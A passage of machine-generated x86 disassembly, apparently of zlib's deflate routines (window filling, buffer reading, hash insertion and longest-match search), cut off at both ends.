[ebp+arg_0] cmp dword ptr [edx+54h], 0 jl short loc_4BF5EA mov eax, [ebp+arg_0] mov ecx, [eax+30h] mov edx, [ebp+arg_0] add ecx, [edx+54h] mov [ebp+var_10], ecx jmp short loc_4BF5F1 ; --------------------------------------------------------------------------- loc_4BF5EA: ; CODE XREF: sub_4BF490+147j mov [ebp+var_10], 0 loc_4BF5F1: ; CODE XREF: sub_4BF490+158j push 0 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+64h] sub edx, [ecx+54h] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C20F2 add esp, 10h mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [eax+64h] mov [edx+54h], ecx mov edx, [ebp+arg_0] mov eax, [edx] push eax call sub_4BEF80 add esp, 4 mov ecx, [ebp+arg_0] mov edx, [ecx] cmp dword ptr [edx+10h], 0 jnz short loc_4BF63C xor eax, eax jmp loc_4BF6CC ; --------------------------------------------------------------------------- loc_4BF63C: ; CODE XREF: sub_4BF490+13Ej ; sub_4BF490+1A3j jmp loc_4BF4B7 ; --------------------------------------------------------------------------- loc_4BF641: ; CODE XREF: sub_4BF490+5Bj mov eax, [ebp+arg_0] cmp dword ptr [eax+54h], 0 jl short loc_4BF65B mov ecx, [ebp+arg_0] mov edx, [ecx+30h] mov eax, [ebp+arg_0] add edx, [eax+54h] mov [ebp+var_14], edx jmp short loc_4BF662 ; --------------------------------------------------------------------------- loc_4BF65B: ; CODE XREF: sub_4BF490+1B8j mov [ebp+var_14], 0 loc_4BF662: ; CODE XREF: sub_4BF490+1C9j xor ecx, ecx cmp [ebp+arg_4], 4 setz cl push ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+64h] sub ecx, [eax+54h] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] push eax call sub_4C20F2 add esp, 10h mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] mov eax, [edx+64h] mov [ecx+54h], eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_4BEF80 add esp, 4 mov eax, [ebp+arg_0] mov ecx, [eax] cmp dword ptr [ecx+10h], 0 jnz short loc_4BF6BD xor eax, eax cmp [ebp+arg_4], 4 setnz al dec eax and eax, 2 jmp short loc_4BF6CC ; --------------------------------------------------------------------------- loc_4BF6BD: ; CODE XREF: sub_4BF490+21Cj mov eax, [ebp+arg_4] sub eax, 4 neg eax sbb eax, eax and al, 0FEh add eax, 3 loc_4BF6CC: ; CODE XREF: sub_4BF490+4Dj ; sub_4BF490+11Fj ... mov esp, ebp pop ebp retn sub_4BF490 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BF6D0 proc near ; CODE XREF: sub_4BF490+34p ; .text:004BF9C1p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 Size = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx mov eax, [ebp+arg_0] mov ecx, [eax+24h] mov [ebp+Size], ecx loc_4BF6E0: ; CODE XREF: sub_4BF6D0+230j mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+34h] sub ecx, [eax+6Ch] mov edx, [ebp+arg_0] sub ecx, [edx+64h] mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jnz short loc_4BF718 mov eax, [ebp+arg_0] cmp dword ptr [eax+64h], 0 jnz short loc_4BF718 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+6Ch], 0 jnz short loc_4BF718 mov edx, [ebp+Size] mov [ebp+var_C], edx jmp loc_4BF856 ; --------------------------------------------------------------------------- loc_4BF718: ; CODE XREF: sub_4BF6D0+29j ; sub_4BF6D0+32j ... cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_4BF72C mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax jmp loc_4BF856 ; --------------------------------------------------------------------------- loc_4BF72C: ; CODE XREF: sub_4BF6D0+4Cj mov ecx, [ebp+arg_0] mov edx, [ecx+24h] mov eax, [ebp+Size] lea ecx, [eax+edx-106h] mov edx, [ebp+arg_0] cmp [edx+64h], ecx jb loc_4BF856 mov eax, [ebp+Size] push eax ; Size mov ecx, [ebp+arg_0] mov edx, [ecx+30h] add edx, [ebp+Size] push edx ; Src mov eax, [ebp+arg_0] mov ecx, [eax+30h] push ecx ; Dst call _memcpy_1 add esp, 0Ch mov edx, [ebp+arg_0] mov eax, [edx+68h] sub eax, [ebp+Size] mov ecx, [ebp+arg_0] mov [ecx+68h], eax mov edx, [ebp+arg_0] mov eax, [edx+64h] sub eax, [ebp+Size] mov ecx, [ebp+arg_0] mov [ecx+64h], eax mov edx, [ebp+arg_0] mov eax, [edx+54h] sub eax, [ebp+Size] mov ecx, [ebp+arg_0] mov [ecx+54h], eax mov edx, [ebp+arg_0] mov eax, [edx+44h] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+3Ch] mov eax, [ebp+var_14] lea ecx, [edx+eax*2] mov [ebp+var_8], ecx loc_4BF7AA: ; CODE XREF: sub_4BF6D0+11Fj mov edx, [ebp+var_8] sub edx, 2 mov [ebp+var_8], edx mov eax, [ebp+var_8] xor ecx, ecx mov cx, [eax] mov [ebp+var_10], ecx mov edx, [ebp+var_10] cmp edx, [ebp+Size] jb short loc_4BF7D1 mov eax, [ebp+var_10] sub eax, [ebp+Size] mov [ebp+var_18], eax jmp short loc_4BF7D8 ; --------------------------------------------------------------------------- loc_4BF7D1: ; CODE XREF: sub_4BF6D0+F4j mov [ebp+var_18], 0 loc_4BF7D8: ; CODE XREF: sub_4BF6D0+FFj mov ecx, [ebp+var_8] mov dx, word ptr [ebp+var_18] mov [ecx], dx mov eax, [ebp+var_14] sub eax, 1 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4BF7AA mov ecx, [ebp+Size] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov eax, [edx+38h] mov ecx, [ebp+var_14] lea edx, [eax+ecx*2] mov [ebp+var_8], edx loc_4BF806: ; CODE XREF: sub_4BF6D0+17Bj mov eax, [ebp+var_8] sub eax, 2 mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] mov [ebp+var_10], edx mov eax, [ebp+var_10] cmp eax, [ebp+Size] jb short loc_4BF82D mov ecx, [ebp+var_10] sub ecx, [ebp+Size] mov [ebp+var_1C], ecx jmp short loc_4BF834 ; --------------------------------------------------------------------------- loc_4BF82D: ; CODE XREF: sub_4BF6D0+150j mov [ebp+var_1C], 0 loc_4BF834: ; CODE XREF: sub_4BF6D0+15Bj mov edx, [ebp+var_8] mov ax, word ptr [ebp+var_1C] mov [edx], ax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 0 jnz short loc_4BF806 mov edx, [ebp+var_C] add edx, [ebp+Size] mov [ebp+var_C], edx loc_4BF856: ; CODE XREF: sub_4BF6D0+43j ; sub_4BF6D0+57j ... mov eax, [ebp+arg_0] mov ecx, [eax] cmp dword ptr [ecx+4], 0 jnz short loc_4BF866 jmp loc_4BF906 ; --------------------------------------------------------------------------- loc_4BF866: ; CODE XREF: sub_4BF6D0+18Fj mov edx, [ebp+var_C] push edx ; int mov eax, [ebp+arg_0] mov ecx, [eax+30h] mov edx, [ebp+arg_0] add ecx, [edx+64h] mov eax, [ebp+arg_0] add ecx, [eax+6Ch] push ecx ; Dst mov ecx, [ebp+arg_0] mov edx, [ecx] push edx ; int call sub_4BF90B add esp, 0Ch mov [ebp+var_14], eax mov eax, [ebp+arg_0] mov ecx, [eax+6Ch] add ecx, [ebp+var_14] mov edx, [ebp+arg_0] mov [edx+6Ch], ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+6Ch], 3 jb short loc_4BF8EB mov ecx, [ebp+arg_0] mov edx, [ecx+30h] mov eax, [ebp+arg_0] mov ecx, [eax+64h] xor eax, eax mov al, [edx+ecx] mov ecx, [ebp+arg_0] mov [ecx+40h], eax mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov edx, [edx+40h] mov ecx, [eax+50h] shl edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+64h] mov eax, [ebp+arg_0] mov eax, [eax+30h] xor ebx, ebx mov bl, [eax+ecx+1] xor edx, ebx mov ecx, [ebp+arg_0] and edx, [ecx+4Ch] mov eax, [ebp+arg_0] mov [eax+40h], edx loc_4BF8EB: ; CODE XREF: sub_4BF6D0+1D4j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+6Ch], 106h jnb short loc_4BF906 mov edx, [ebp+arg_0] mov eax, [edx] cmp dword ptr [eax+4], 0 jnz loc_4BF6E0 loc_4BF906: ; CODE XREF: sub_4BF6D0+191j ; sub_4BF6D0+225j pop ebx mov esp, ebp pop ebp retn sub_4BF6D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4BF90B(int,void *Dst,int) sub_4BF90B proc near ; CODE XREF: sub_4BF6D0+1B3p Size = dword ptr -4 arg_0 = dword ptr 8 Dst = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [ebp+Size], ecx mov edx, [ebp+Size] cmp edx, [ebp+arg_8] jbe short loc_4BF926 mov eax, [ebp+arg_8] mov [ebp+Size], eax loc_4BF926: ; CODE XREF: sub_4BF90B+13j cmp [ebp+Size], 0 jnz short loc_4BF930 xor eax, eax jmp short loc_4BF99F ; --------------------------------------------------------------------------- loc_4BF930: ; CODE XREF: sub_4BF90B+1Fj mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, [ebp+Size] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp dword ptr [edx+18h], 0 jnz short loc_4BF96A mov eax, [ebp+Size] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx mov eax, [ebp+arg_0] mov ecx, [eax+30h] push ecx call sub_4C16E0 add esp, 0Ch mov edx, [ebp+arg_0] mov [edx+30h], eax loc_4BF96A: ; CODE XREF: sub_4BF90B+3Ej mov eax, [ebp+Size] push eax ; Size mov ecx, [ebp+arg_0] mov edx, [ecx] push edx ; Src mov eax, [ebp+Dst] push eax ; Dst call _memcpy_1 add esp, 0Ch mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, [ebp+Size] mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, [ebp+Size] mov eax, [ebp+arg_0] mov [eax+8], edx mov eax, [ebp+Size] loc_4BF99F: ; CODE XREF: sub_4BF90B+23j mov esp, ebp pop ebp retn sub_4BF90B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h push ebx mov dword ptr [ebp-8], 0 loc_4BF9B1: ; CODE XREF: .text:loc_4BFE65j mov eax, [ebp+8] cmp dword ptr [eax+6Ch], 106h jnb short loc_4BF9F0 mov ecx, [ebp+8] push ecx call sub_4BF6D0 add esp, 4 mov edx, [ebp+8] cmp dword ptr [edx+6Ch], 106h jnb short loc_4BF9E2 cmp dword ptr [ebp+0Ch], 0 jnz short loc_4BF9E2 xor eax, eax jmp loc_4BFEF5 ; --------------------------------------------------------------------------- loc_4BF9E2: ; CODE XREF: .text:004BF9D3j ; .text:004BF9D9j mov eax, [ebp+8] cmp dword ptr [eax+6Ch], 0 jnz short loc_4BF9F0 jmp loc_4BFE6A ; --------------------------------------------------------------------------- loc_4BF9F0: ; CODE XREF: .text:004BF9BBj ; .text:004BF9E9j mov ecx, [ebp+8] cmp dword ptr [ecx+6Ch], 3 jb short loc_4BFA6D mov edx, [ebp+8] mov eax, [ebp+8] mov edx, [edx+40h] mov ecx, [eax+50h] shl edx, cl mov eax, [ebp+8] mov ecx, [eax+64h] mov eax, [ebp+8] mov eax, [eax+30h] xor ebx, ebx mov bl, [eax+ecx+2] xor edx, ebx mov ecx, [ebp+8] and edx, [ecx+4Ch] mov eax, [ebp+8] mov [eax+40h], edx mov ecx, [ebp+8] mov edx, [ecx+40h] mov eax, [ebp+8] mov ecx, [eax+3Ch] xor eax, eax mov ax, [ecx+edx*2] mov [ebp-8], eax mov ecx, [ebp+8] mov edx, [ebp+8] mov eax, [ecx+64h] and eax, [edx+2Ch] mov ecx, [ebp+8] mov edx, [ecx+38h] mov cx, [ebp-8] mov [edx+eax*2], cx mov edx, [ebp+8] mov eax, [edx+40h] mov ecx, [ebp+8] mov edx, [ecx+3Ch] mov ecx, [ebp+8] mov cx, [ecx+64h] mov [edx+eax*2], cx loc_4BFA6D: ; CODE XREF: .text:004BF9F7j cmp dword ptr [ebp-8], 0 jz short loc_4BFAAE mov edx, [ebp+8] mov eax, [edx+64h] sub eax, [ebp-8] mov ecx, [ebp+8] mov edx, [ecx+24h] sub edx, 106h cmp eax, edx ja short loc_4BFAAE mov eax, [ebp+8] cmp dword ptr [eax+80h], 2 jz short loc_4BFAAE mov ecx, [ebp-8] push ecx mov edx, [ebp+8] push edx call sub_4BFEFA add esp, 8 mov ecx, [ebp+8] mov [ecx+58h], eax loc_4BFAAE: ; CODE XREF: .text:004BFA71j ; .text:004BFA8Aj ... mov edx, [ebp+8] cmp dword ptr [edx+58h], 3 jb loc_4BFD35 mov eax, [ebp+8] mov ecx, [eax+58h] sub ecx, 3 mov [ebp-10h], cl mov edx, [ebp+8] mov eax, [ebp+8] mov ecx, [edx+64h] sub ecx, [eax+68h] mov [ebp-0Ch], cx mov edx, [ebp+8] mov eax, [edx+1698h] mov ecx, [ebp+8] mov edx, [ecx+169Ch] mov cx, [ebp-0Ch] mov [edx+eax*2], cx mov edx, [ebp+8] mov eax, [edx+1690h] mov ecx, [ebp+8] mov edx, [ecx+1698h] mov cl, [ebp-10h] mov [eax+edx], cl mov edx, [ebp+8] mov eax, [edx+1698h] add eax, 1 mov ecx, [ebp+8] mov [ecx+1698h], eax mov dx, [ebp-0Ch] sub dx, 1 mov [ebp-0Ch], dx mov eax, [ebp-10h] and eax, 0FFh xor ecx, ecx mov cl, byte_4F2CA0[eax] mov edx, [ebp+8] mov ax, [edx+ecx*4+490h] add ax, 1 mov ecx, [ebp-10h] and ecx, 0FFh xor edx, edx mov dl, byte_4F2CA0[ecx] mov ecx, [ebp+8] mov [ecx+edx*4+490h], ax mov edx, [ebp-0Ch] and edx, 0FFFFh cmp edx, 100h jge short loc_4BFB8B mov eax, [ebp-0Ch] and eax, 0FFFFh xor ecx, ecx mov cl, byte_4F2AA0[eax] mov [ebp-18h], ecx jmp short loc_4BFBA2 ; --------------------------------------------------------------------------- loc_4BFB8B: ; CODE XREF: .text:004BFB74j mov edx, [ebp-0Ch] and edx, 0FFFFh sar edx, 7 xor eax, eax mov al, byte_4F2BA0[edx] mov [ebp-18h], eax loc_4BFBA2: ; CODE XREF: .text:004BFB89j mov ecx, [ebp-18h] mov edx, [ebp+8] mov ax, [edx+ecx*4+980h] add ax, 1 mov ecx, [ebp-18h] mov edx, [ebp+8] mov [edx+ecx*4+980h], ax mov eax, [ebp+8] mov ecx, [eax+1694h] sub ecx, 1 mov edx, [ebp+8] xor eax, eax cmp [edx+1698h], ecx setz al mov [ebp-4], eax mov ecx, [ebp+8] mov edx, [ebp+8] mov eax, [ecx+6Ch] sub eax, [edx+58h] mov ecx, [ebp+8] mov [ecx+6Ch], eax mov edx, [ebp+8] mov eax, [ebp+8] mov ecx, [edx+58h] cmp ecx, [eax+78h] ja loc_4BFCCF mov edx, [ebp+8] cmp dword ptr [edx+6Ch], 3 jb loc_4BFCCF mov eax, [ebp+8] mov ecx, [eax+58h] sub ecx, 1 mov edx, [ebp+8] mov [edx+58h], ecx loc_4BFC1F: ; CODE XREF: .text:004BFCB8j mov eax, [ebp+8] mov ecx, [eax+64h] add ecx, 1 mov edx, [ebp+8] mov [edx+64h], ecx mov eax, [ebp+8] mov ecx, [ebp+8] mov edx, [eax+40h] mov ecx, [ecx+50h] shl edx, cl mov eax, [ebp+8] mov ecx, [eax+64h] mov eax, [ebp+8] mov eax, [eax+30h] xor ebx, ebx mov bl, [eax+ecx+2] xor edx, ebx mov ecx, [ebp+8] and edx, [ecx+4Ch] mov eax, [ebp+8] mov [eax+40h], edx mov ecx, [ebp+8] mov edx, [ecx+40h] mov eax, [ebp+8] mov ecx, [eax+3Ch] xor eax, eax mov ax, [ecx+edx*2] mov [ebp-8], eax mov ecx, [ebp+8] mov edx, [ebp+8] mov eax, [ecx+64h] and eax, [edx+2Ch] mov ecx, [ebp+8] mov edx, [ecx+38h] mov cx, [ebp-8] mov [edx+eax*2], cx mov edx, [ebp+8] mov eax, [edx+40h] mov ecx, [ebp+8] mov edx, [ecx+3Ch] mov ecx, [ebp+8] mov cx, [ecx+64h] mov [edx+eax*2], cx mov edx, [ebp+8] mov eax, [edx+58h] sub eax, 1 mov ecx, [ebp+8] mov [ecx+58h], eax mov edx, [ebp+8] cmp dword ptr [edx+58h], 0 jnz loc_4BFC1F mov eax, [ebp+8] mov ecx, [eax+64h] add ecx, 1 mov edx, [ebp+8] mov [edx+64h], ecx jmp short loc_4BFD30 ; --------------------------------------------------------------------------- loc_4BFCCF: ; CODE XREF: .text:004BFBFDj ; .text:004BFC0Aj mov eax, [ebp+8] mov ecx, [eax+64h] mov edx, [ebp+8] add ecx, [edx+58h] mov eax, [ebp+8] mov [eax+64h], ecx mov ecx, [ebp+8] mov dword ptr [ecx+58h], 0 mov edx, [ebp+8] mov eax, [edx+30h] mov ecx, [ebp+8] mov edx, [ecx+64h] xor ecx, ecx mov cl, [eax+edx] mov edx, [ebp+8] mov [edx+40h], ecx mov eax, [ebp+8] mov ecx, [ebp+8] mov edx, [eax+40h] mov ecx, [ecx+50h] shl edx, cl mov eax, [ebp+8] mov ecx, [eax+64h] mov eax, [ebp+8] mov eax, [eax+30h] xor ebx, ebx mov bl, [eax+ecx+1] xor edx, ebx mov ecx, [ebp+8] and edx, [ecx+4Ch] mov eax, [ebp+8] mov [eax+40h], edx loc_4BFD30: ; CODE XREF: .text:004BFCCDj jmp loc_4BFDF3 ; --------------------------------------------------------------------------- loc_4BFD35: ; CODE XREF: .text:004BFAB5j mov ecx, [ebp+8] mov edx, [ecx+30h] mov eax, [ebp+8] mov ecx, [eax+64h] mov dl, [edx+ecx] mov [ebp-14h], dl mov eax, [ebp+8] mov ecx, [eax+1698h] mov edx, [ebp+8] mov eax, [edx+169Ch] mov word ptr [eax+ecx*2], 0 mov ecx, [ebp+8] mov edx, [ecx+1690h] mov eax, [ebp+8] mov ecx, [eax+1698h] mov al, [ebp-14h] mov [edx+ecx], al mov ecx, [ebp+8] mov edx, [ecx+1698h] add edx, 1 mov eax, [ebp+8] mov [eax+1698h], edx mov ecx, [ebp-14h] and ecx, 0FFh mov edx, [ebp+8] mov ax, [edx+ecx*4+8Ch] add ax, 1 mov ecx, [ebp-14h] and ecx, 0FFh mov edx, [ebp+8] mov [edx+ecx*4+8Ch], ax mov eax, [ebp+8] mov ecx, [eax+1694h] sub ecx, 1 mov edx, [ebp+8] xor eax, eax cmp [edx+1698h], ecx setz al mov [ebp-4], eax mov ecx, [ebp+8] mov edx, [ecx+6Ch] sub edx, 1 mov eax, [ebp+8] mov [eax+6Ch], edx mov ecx, [ebp+8] mov edx, [ecx+64h] add edx, 1 mov eax, [ebp+8] mov [eax+64h], edx loc_4BFDF3: ; CODE XREF: .text:loc_4BFD30j cmp dword ptr [ebp-4], 0 jz short loc_4BFE65 mov ecx, [ebp+8] cmp dword ptr [ecx+54h], 0 jl short loc_4BFE13 mov edx, [ebp+8] mov eax, [edx+30h] mov ecx, [ebp+8] add eax, [ecx+54h] mov [ebp-1Ch], eax jmp short loc_4BFE1A ; --------------------------------------------------------------------------- loc_4BFE13: ; CODE XREF: .text:004BFE00j mov dword ptr [ebp-1Ch], 0 loc_4BFE1A: ; CODE XREF: .text:004BFE11j push 0 mov edx, [ebp+8] mov eax, [ebp+8] mov ecx, [edx+64h] sub ecx, [eax+54h] push ecx mov edx, [ebp-1Ch] push edx mov eax, [ebp+8] push eax call sub_4C20F2 add esp, 10h mov ecx, [ebp+8] mov edx, [ebp+8] mov eax, [edx+64h] mov [ecx+54h], eax mov ecx, [ebp+8] mov edx, [ecx] push edx call sub_4BEF80 add esp, 4 mov eax, [ebp+8] mov ecx, [eax] cmp dword ptr [ecx+10h], 0 jnz short loc_4BFE65 xor eax, eax jmp loc_4BFEF5 ; --------------------------------------------------------------------------- loc_4BFE65: ; CODE XREF: .text:004BFDF7j ; .text:004BFE5Cj jmp loc_4BF9B1 ; --------------------------------------------------------------------------- loc_4BFE6A: ; CODE XREF: .text:004BF9EBj mov edx, [ebp+8] cmp dword ptr [edx+54h], 0 jl short loc_4BFE84 mov eax, [ebp+8] mov ecx, [eax+30h] mov edx, [ebp+8] add ecx, [edx+54h] mov [ebp-20h], ecx jmp short loc_4BFE8B ; --------------------------------------------------------------------------- loc_4BFE84: ; CODE XREF: .text:004BFE71j mov dword ptr [ebp-20h], 0 loc_4BFE8B: ; CODE XREF: .text:004BFE82j xor eax, eax cmp dword ptr [ebp+0Ch], 4 setz al push eax mov ecx, [ebp+8] mov edx, [ebp+8] mov eax, [ecx+64h] sub eax, [edx+54h] push eax mov ecx, [ebp-20h] push ecx mov edx, [ebp+8] push edx call sub_4C20F2 add esp, 10h mov eax, [ebp+8] mov ecx, [ebp+8] mov edx, [ecx+64h] mov [eax+54h], edx mov eax, [ebp+8] mov ecx, [eax] push ecx call sub_4BEF80 add esp, 4 mov edx, [ebp+8] mov eax, [edx] cmp dword ptr [eax+10h], 0 jnz short loc_4BFEE6 xor eax, eax cmp dword ptr [ebp+0Ch], 4 setnz al dec eax and eax, 2 jmp short loc_4BFEF5 ; --------------------------------------------------------------------------- loc_4BFEE6: ; CODE XREF: .text:004BFED5j mov eax, [ebp+0Ch] sub eax, 4 neg eax sbb eax, eax and al, 0FEh add eax, 3 loc_4BFEF5: ; CODE XREF: .text:004BF9DDj ; .text:004BFE60j ... pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BFEFA proc near ; CODE XREF: .text:004BFAA0p ; .text:004C0359p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_0] mov ecx, [eax+74h] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, [edx+30h] mov ecx, [ebp+arg_0] add eax, [ecx+64h] mov [ebp+var_14], eax mov edx, [ebp+arg_0] mov eax, [edx+70h] mov [ebp+var_18], eax mov ecx, [ebp+arg_0] mov edx, [ecx+88h] mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov ecx, [eax+24h] sub ecx, 106h mov edx, [ebp+arg_0] cmp [edx+64h], ecx jbe short loc_4BFF5A mov eax, [ebp+arg_0] mov ecx, [eax+24h] sub ecx, 106h mov edx, [ebp+arg_0] mov eax, [edx+64h] sub eax, ecx mov [ebp+var_34], eax jmp short loc_4BFF61 ; --------------------------------------------------------------------------- loc_4BFF5A: ; CODE XREF: sub_4BFEFA+45j mov [ebp+var_34], 0 loc_4BFF61: ; CODE XREF: sub_4BFEFA+5Ej mov ecx, [ebp+var_34] mov [ebp+var_20], ecx mov edx, [ebp+arg_0] mov eax, [edx+38h] mov [ebp+var_28], eax mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] mov [ebp+var_1C], edx mov eax, [ebp+arg_0] mov ecx, [eax+30h] mov edx, [ebp+arg_0] mov eax, [edx+64h] lea ecx, [ecx+eax+102h] mov [ebp+var_30], ecx mov edx, [ebp+var_14] add edx, [ebp+var_18] mov al, [edx-1] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_14] add ecx, [ebp+var_18] mov dl, [ecx] mov byte ptr [ebp+var_4], dl mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+70h] cmp edx, [ecx+84h] jb short loc_4BFFC0 mov eax, [ebp+var_2C] shr eax, 2 mov [ebp+var_2C], eax loc_4BFFC0: ; CODE XREF: sub_4BFEFA+BBj mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] cmp edx, [ecx+6Ch] jbe short loc_4BFFD4 mov eax, [ebp+arg_0] mov ecx, [eax+6Ch] mov [ebp+var_C], ecx loc_4BFFD4: ; CODE XREF: sub_4BFEFA+CFj ; sub_4BFEFA+30Fj mov edx, [ebp+arg_0] mov eax, [edx+30h] add eax, [ebp+arg_4] mov [ebp+var_10], eax mov ecx, [ebp+var_10] add ecx, [ebp+var_18] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_4] and eax, 0FFh cmp edx, eax jnz short loc_4C003B mov ecx, [ebp+var_10] add ecx, [ebp+var_18] xor edx, edx mov dl, [ecx-1] mov eax, [ebp+var_8] and eax, 0FFh cmp edx, eax jnz short loc_4C003B mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax] cmp edx, ecx jnz short loc_4C003B mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_14] xor eax, eax mov al, [edx+1] cmp ecx, eax jz short loc_4C0040 loc_4C003B: ; CODE XREF: sub_4BFEFA+FAj ; sub_4BFEFA+111j ... jmp loc_4C01E2 ; --------------------------------------------------------------------------- loc_4C0040: ; CODE XREF: sub_4BFEFA+13Fj mov ecx, [ebp+var_14] add ecx, 2 mov [ebp+var_14], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_4C0052: ; CODE XREF: sub_4BFEFA+28Ej mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+var_14] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax mov ecx, [ebp+var_10] xor eax, eax mov al, [ecx] cmp edx, eax jnz loc_4C018E mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx mov edx, [ebp+var_14] xor eax, eax mov al, [edx] mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+var_10] xor ecx, ecx mov cl, [edx] cmp eax, ecx jnz loc_4C018E mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+var_10] xor edx, edx mov dl, [eax] cmp ecx, edx jnz loc_4C018E mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+var_14] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax mov ecx, [ebp+var_10] xor eax, eax mov al, [ecx] cmp edx, eax jnz loc_4C018E mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx mov edx, [ebp+var_14] xor eax, eax mov al, [edx] mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+var_10] xor ecx, ecx mov cl, [edx] cmp eax, ecx jnz short loc_4C018E mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+var_10] xor edx, edx mov dl, [eax] cmp ecx, edx jnz short loc_4C018E mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+var_14] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax mov ecx, [ebp+var_10] xor eax, eax mov al, [ecx] cmp edx, eax jnz short loc_4C018E mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx mov edx, [ebp+var_14] xor eax, eax mov al, [edx] mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+var_10] xor ecx, ecx mov cl, [edx] cmp eax, ecx jnz short loc_4C018E mov edx, [ebp+var_14] cmp edx, [ebp+var_30] jb loc_4C0052 loc_4C018E: ; CODE XREF: sub_4BFEFA+17Aj ; sub_4BFEFA+1A2j ... mov eax, [ebp+var_30] sub eax, [ebp+var_14] mov ecx, 102h sub ecx, eax mov [ebp+var_24], ecx mov edx, [ebp+var_30] sub edx, 102h mov [ebp+var_14], edx mov eax, [ebp+var_24] cmp eax, [ebp+var_18] jle short loc_4C01E2 mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov [ecx+68h], edx mov eax, [ebp+var_24] mov [ebp+var_18], eax mov ecx, [ebp+var_24] cmp ecx, [ebp+var_C] jl short loc_4C01CB jmp short loc_4C020F ; --------------------------------------------------------------------------- loc_4C01CB: ; CODE XREF: sub_4BFEFA+2CDj mov edx, [ebp+var_14] add edx, [ebp+var_18] mov al, [edx-1] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_14] add ecx, [ebp+var_18] mov dl, [ecx] mov byte ptr [ebp+var_4], dl loc_4C01E2: ; CODE XREF: sub_4BFEFA:loc_4C003Bj ; 